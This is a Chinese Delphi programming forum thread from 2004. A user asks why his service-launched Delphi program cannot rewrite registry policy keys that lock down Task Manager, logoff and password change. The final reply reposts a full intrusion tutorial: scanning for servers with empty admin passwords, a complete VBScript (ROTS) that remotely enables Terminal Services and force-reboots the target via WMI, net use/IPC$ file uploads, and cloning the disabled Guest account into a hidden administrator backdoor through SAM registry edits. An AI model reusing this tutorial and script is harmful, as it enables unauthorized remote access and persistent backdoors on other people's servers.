全國最多中醫師線上諮詢網站-台灣中醫網
發文 回覆 瀏覽次數:2404
推到 Plurk!
推到 Facebook!

在service的驅使下呼叫exe無法變更win登錄檔

答題得分者是:allenchan
ko
資深會員


發表:28
回覆:785
積分:444
註冊:2002-08-14

發送簡訊給我
#1 引用回覆 回覆 發表時間:2004-12-10 16:49:04 IP:61.221.xxx.xxx 未訂閱
大家好: 為了防止小人偷改我的regedit,因此寫了一個uneditREG.exe 此程式是用TIMER1每.05秒去變更下面這些參數 procedure TForm1.Timer1Timer(Sender: TObject); var Reg:TRegistry; begin Reg:=TRegistry.Create; Reg.RootKey:=HKEY_CURRENT_USER; Reg.OpenKey('\Software\Microsoft\Windows\CurrentVersion\Policies\System',True); Reg.WriteInteger('DisableRegistryTools',0); Reg.WriteInteger('DisableTaskMgr',1); Reg.WriteInteger('DisableLockWorkstation',1); Reg.WriteInteger('DisableChangePassword',1); Reg.OpenKey('\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer',True); Reg.WriteInteger('NoLogoff',1); Reg.CloseKey; Reg.Free; end; 沒錯~小弟為了一開機就啟動於是又寫了一個service掛在win2000的系統上 問題來了 小弟若沒有透過service來呼叫uneditREG.exe,就是直接點2下執行程式是可以 修正上面程式中的那幾個項目。 但是透過service來呼叫uneditREG.exe,TIMER1會..有動作但是無法修正上面 程式中的那幾個項目。 請問各位這是何解?
------
======================
昏睡~
不昏睡~
不由昏睡~
allenchan
資深會員


發表:10
回覆:306
積分:283
註冊:2004-01-06

發送簡訊給我
#2 引用回覆 回覆 發表時間:2004-12-10 20:32:16 IP:61.230.xxx.xxx 未訂閱
不知是否和 Process 權限有關,參考看看有沒有幫助: http://delphi.ktop.com.tw/topic.php?TOPIC_ID=61322
ko
資深會員


發表:28
回覆:785
積分:444
註冊:2002-08-14

發送簡訊給我
#3 引用回覆 回覆 發表時間:2004-12-13 12:39:27 IP:61.221.xxx.xxx 未訂閱
大家好: 首先感謝 allenchan 兄的回應給了我一個方向 但是在測試中 1.service是在administrator的權限下呼叫的 2.將變更regedit的權利還給n-user要用 --OpenProcessToken --LookupPrivilegeValue(?????) --AdjustTokenPrivileges 可是要用 ADMINISTRATOR 以下16個權限的哪一個? SeChangeNotifyPrivilege SeSecurityPrivilege SeBackupPrivilege SeRestorePrivilege SeSystemtimePrivilege SeShutdownPrivilege SeRemoteShutdownPrivilege SeTakeOwnershipPrivilege SeDebugPrivilege SeSystemEnvironmentPrivilege SeSystemProfilePrivilege SeProfileSingleProcessPrivilege SeIncreaseBasePriorityPrivilege SeLoadDriverPrivilege SeCreatePagefilePrivilege SeIncreaseQuotaPrivilege 以上2點小弟正在測試但是都沒成功,若有大大有類似的情形 可以給小弟一些建議或方向請勿吝嗇告知,在此感謝。
------
======================
昏睡~
不昏睡~
不由昏睡~
ko
資深會員


發表:28
回覆:785
積分:444
註冊:2002-08-14

發送簡訊給我
#4 引用回覆 回覆 發表時間:2004-12-15 09:35:27 IP:61.221.xxx.xxx 未訂閱
大家好: 最新狀況 小弟發現在 登錄檔 HKEY_USERS 機碼的位置 有一段key S-1-5-21-1078081533-1614895754-839522115-500\Software\Microsoft\Windows\CurrentVersion\Policies\System 在這裡變更
引言: ... Reg.WriteInteger('DisableRegistryTools',0); Reg.WriteInteger('DisableTaskMgr',1); Reg.WriteInteger('DisableLockWorkstation',1); Reg.WriteInteger('DisableChangePassword',1); ... ..
這樣也可以防止,regedit被更改,只是紅色部分會依照電腦不同或使用者不同 會有不一樣的代碼,請問要取得目前使用者的代碼?? 不勝感激!!!
------
======================
昏睡~
不昏睡~
不由昏睡~
ko
資深會員


發表:28
回覆:785
積分:444
註冊:2002-08-14

發送簡訊給我
#5 引用回覆 回覆 發表時間:2004-12-16 15:10:45 IP:61.221.xxx.xxx 未訂閱
大家好: 又有新進展~ 出處: http://www.winmag.com.cn/html/2004/07/20040730102201-1.shtml
引言: SID:S-1-5--500 名?:Administrator 描述:系?管理?的用???。默?情?下,它是唯一能?完全控制系?的用???。
註: 紅色字-域 出處 http://www.winmag.com.cn/html/2004/07/20040730101335-1.shtml
引言: SID的?得 ?始-?行-regedt32-HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Builtin\Aliases\Members,找到本地的域的代?,展?后,得到的就是本地??的所有SID列表。 其中很多值都是固定的,比如第一?000001F4(16?制),?算成十?制是500,?明是系?建立的?置管理???administrator,000001F5?算成10?制是501,也就是GUEST??了,??的?照后面的列表。
但是小弟怎麼也開不起來HKEY_LOCAL_MACHINE\SAM\SAM這個機碼 (都是空的) 若有大大知道請回應~不勝感激!!!
------
======================
昏睡~
不昏睡~
不由昏睡~
ko
資深會員


發表:28
回覆:785
積分:444
註冊:2002-08-14

發送簡訊給我
#6 引用回覆 回覆 發表時間:2004-12-18 09:41:24 IP:61.221.xxx.xxx 未訂閱
大家好: 小弟想結案了~ 腦力激盪了那麼久,終於明白這是駭客(黑客),才有的技巧 小弟實在很無力的著 > 感謝大家的觀看,特別是 >
------
======================
昏睡~
不昏睡~
不由昏睡~
conundrum
尊榮會員


發表:893
回覆:1272
積分:643
註冊:2004-01-06

發送簡訊給我
#7 引用回覆 回覆 發表時間:2004-12-18 15:02:48 IP:61.221.xxx.xxx 未訂閱
以下文章 如果網友另存檔案時

防毒軟體會偵測有病毒

請自行小心觀看
 一次簡單的3389入侵過程  
http://www.axin.net/article/ShowArticle.asp?ArticleID=1503    [ 作者:佚名    轉貼自:網路    點擊數:2089    文章錄入:阿新 ] 
我在網上看到很多很多教你如何如何入侵之類的文章,我覺得對於菜鳥來說根本是看不懂的!    於是呢,我冒出個想法!想寫篇簡單點的,適合菜鳥的文章!把我學到的跟大家說一下~!
要入侵,我建議你在win2000環境下來*作!    首先,要入侵,你得有工具!我向大家推薦幾款軟體,也是我一直用的東西!
掃描的X-Scan V2.3、WINNTAutoAttack、流光!
X-Scan我最近很少用了,基本用的都是WINNTAutoAttack,當然,小榕的流光我也經常用!
遠端開終端需要一個腳本就可以了,代碼請看二樓!保存?*.vbe(我保存的是rots.vbe)
克隆帳戶用個psu就可以了~!    OK,比如掃描到了一個有NT弱口令的伺服器,IP位址是120.0.0.1,管理員帳戶是administrator,密碼?空
運行CMD(2000下的DOS),我們給它開終端!
命令如下!
cscript rots.vbe 120.0.0.1 administrator "" 3389 /fr
上面的命令應該可以理解吧?cscript rots.vbe這是命令,後面的是IP,然後是管理員帳戶,接這是密碼,因?120.0.0.1這台伺服器的管理員密碼是空的,那就用雙引號表示?空,再後面是埠,你可以任意設置終端的埠,/fr是重?命令(強制重?,一般我都用這個,你也可以/r,這是普通重?)    因?終端伺服器只在win2000 server以上的版本(包括server)才有,PRO當然是不行的,此版本可以檢測伺服器的版本,如果是PRO的則提示你退出安裝!    一切順利,過會就可以連接到終端了,我們可以ping它,看是否重?,ping 120.0.0.1 -t
安裝後用連接工具連接終端!現在我們克隆帳戶,呵呵,?了給以後方便嘛!    回到DOS下!我們建立IPC$連接!
net use \\120.0.0.1\ipc$ "" /user:"administrator"
這個命令我想應該可以理解吧!命令完成後,我們把psu上傳到目的機的winnt\system32目錄下!
copy psu.exe \\120.0.0.1\admin$\system32
上傳完畢後,開始在肉雞做後門帳戶!看肉雞!    假設guest用戶被禁用,我們就是要利用guest做後門帳戶!
在該伺服器運行CMD,在命令行下輸入
psu -p regedit -i PID    這裏解釋一下,後面的PID是系統進程winlogon的值,我們在任務欄下點滑鼠右鍵,看任務管理器!
看進程選項卡,找到winlogon的進程,後面的數值就是winlogon的pid值,假設是5458
那?,命令就是這樣
psu -p regedit -i 5458
這樣直接打開註冊表,可以讀取本地sam的資訊。
打開鍵值HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users
下面的就是本地的用戶資訊了!我們要做的是把禁用的guest克隆成管理員許可權的帳戶!
HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\Names
查看administrator的類型,是if4,再看guest的是if5
好了,知道了類型後,打開
HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\000001F4
這個值,雙擊右側的F,把裏面亂七八糟的字元複製下來,然後打開
HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\000001F5
雙擊右側的F,把剛複製的粘貼到裏面!    做好了以後,把HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\000001F5
和HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\Names\Guest
這兩個鍵值導出,導出後把那兩個鍵值刪除!然後再導入進來!關閉註冊表。    打開CMD,在命令行下輸入
net user guest password
這條命令是給guest設置密碼,後面的password就是密碼
然後輸入
net user guest /active:y
這命令是啟動guest帳戶,然後我們把他禁用
net user guest /active:n
上面的三行命令必須在DOS下執行!    OK了,打開電腦管理,看用戶,你們看,guest帳戶還是被禁用的~!哈哈,但它已經擁有管理員許可權了!
而且並不在管理員組裏顯示,還可以登陸終端,跟administrator帳戶一樣的!    登出一下,用guest登陸吧!    打字都打累了~`!真不容易!呵呵~`希望上面的大家能看懂啊!
如果還有地方不明白的話,可以問我,我知道的一定告訴大家!    因?本人也是菜鳥級的,會了點東西就不知道怎?好了,呵呵~`!如果哪里有不對的,還請高手指點啊~!    ----------------------------------------------------------------------
以下是開終端的腳本,把它存?*.vbe
on error resume next
set outstreem=wscript.stdout
set instreem=wscript.stdin
if (lcase(right(wscript.fullname,11))="wscript.exe") then
   set objShell=wscript.createObject("wscript.shell")
   objShell.Run("cmd.exe /k cscript //nologo "&chr(34)&wscript.scriptfullname&chr(34))
   wscript.quit
end if
if wscript.arguments.count<3 then
   usage()
   wscript.echo "Not enough parameters."
   wscript.quit
end if    ipaddress=wscript.arguments(0)
username=wscript.arguments(1)
password=wscript.arguments(2)
if wscript.arguments.count>3 then
   port=wscript.arguments(3)
else
   port=3389
end if
if not isnumeric(port) or port<1 or port>65000 then
   wscript.echo "The number of port is error."
   wscript.quit
end if
if wscript.arguments.count>4 then
   reboot=wscript.arguments(4)
else
   reboot=""
end if    usage()
outstreem.write "Conneting "&ipaddress&" ...."
set objlocator=createobject("wbemscripting.swbemlocator")
set objswbemservices=objlocator.connectserver(ipaddress,"root/cimv2",username,password)
showerror(err.number)
objswbemservices.security_.privileges.add 23,true
objswbemservices.security_.privileges.add 18,true    outstreem.write "Checking OS type...."
set colinstoscaption=objswbemservices.execquery("select caption from win32_operatingsystem")
for each objinstoscaption in colinstoscaption
   if instr(objinstoscaption.caption,"Server")>0 then
      wscript.echo "OK!"
   else
      wscript.echo "OS type is "&objinstoscaption.caption
      outstreem.write "Do you want to cancel setup?[y/n]"
      strcancel=instreem.readline
      if lcase(strcancel)<>"n" then wscript.quit
   end if
next    outstreem.write "Writing into registry ...."
set objinstreg=objlocator.connectserver(ipaddress,"root/default",username,password).get("stdregprov")
HKLM=&h80000002
HKU=&h80000003
with objinstreg
.createkey ,"SOFTWARE\Microsoft\Windows\CurrentVersion\netcache"
.setdwordvalue HKLM,"SOFTWARE\Microsoft\Windows\CurrentVersion\netcache","Enabled",0
.createkey HKLM,"SOFTWARE\Policies\Microsoft\Windows\Installer"
.setdwordvalue HKLM,"SOFTWARE\Policies\Microsoft\Windows\Installer","EnableAdminTSRemote",1
.setdwordvalue HKLM,"SYSTEM\CurrentControlSet\Control\Terminal Server","TSEnabled",1
.setdwordvalue HKLM,"SYSTEM\CurrentControlSet\Services\TermDD","Start",2
.setdwordvalue HKLM,"SYSTEM\CurrentControlSet\Services\TermService","Start",2
.setstringvalue HKU,".DEFAULT\Keyboard Layout\Toggle","Hotkey","1"
.setdwordvalue HKLM,"SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp","PortNumber",port
end with
showerror(err.number)    rebt=lcase(reboot)
flag=0
if rebt="/r" or rebt="-r" or rebt="\r" then flag=2
if rebt="/fr" or rebt="-fr" or rebt="\fr" then flag=6
if flag<>0 then
   outstreem.write "Now, reboot target...."
   strwqlquery="select * from win32_operatingsystem where primary='true'"
   set colinstances=objswbemservices.execquery(strwqlquery)
   for each objinstance in colinstances
      objinstance.win32shutdown(flag)
   next
   showerror(err.number)
else
   wscript.echo "You need to reboot target."&vbcrlf&"Then,"
end if
wscript.echo "You can logon terminal services on "&port&" later. Good luck!"    function showerror(errornumber)
if errornumber Then
   wscript.echo "Error 0x"&cstr(hex(err.number))&" ."
   if err.description <> "" then
      wscript.echo "Error description: "&err.description&"."
   end if
   wscript.quit
else
   wscript.echo "OK!"
end if
end function    function usage()
wscript.echo string(79,"*")
wscript.echo "ROTS v1.05"
wscript.echo "Remote Open Terminal services Script, by 草哲"
wscript.echo "Welcome to visite www.5458.net"
wscript.echo "Usage:"
wscript.echo "cscript "&wscript.scriptfullname&" targetIP username password [port] [/r|/fr]"
wscript.echo "port: default number is 3389."
wscript.echo "/r: auto reboot target."
wscript.echo "/fr: auto force reboot target."
wscript.echo string(79,"*")&vbcrlf
end function     
發表人 - conundrum 於 2004/12/18 15:05:19
系統時間:2024-05-14 18:34:51
聯絡我們 | Delphi K.Top討論版
本站聲明
1. 本論壇為無營利行為之開放平台,所有文章都是由網友自行張貼,如牽涉到法律糾紛一切與本站無關。
2. 假如網友發表之內容涉及侵權,而損及您的利益,請立即通知版主刪除。
3. 請勿批評中華民國元首及政府或批評各政黨,是藍是綠本站無權干涉,但這裡不是政治性論壇!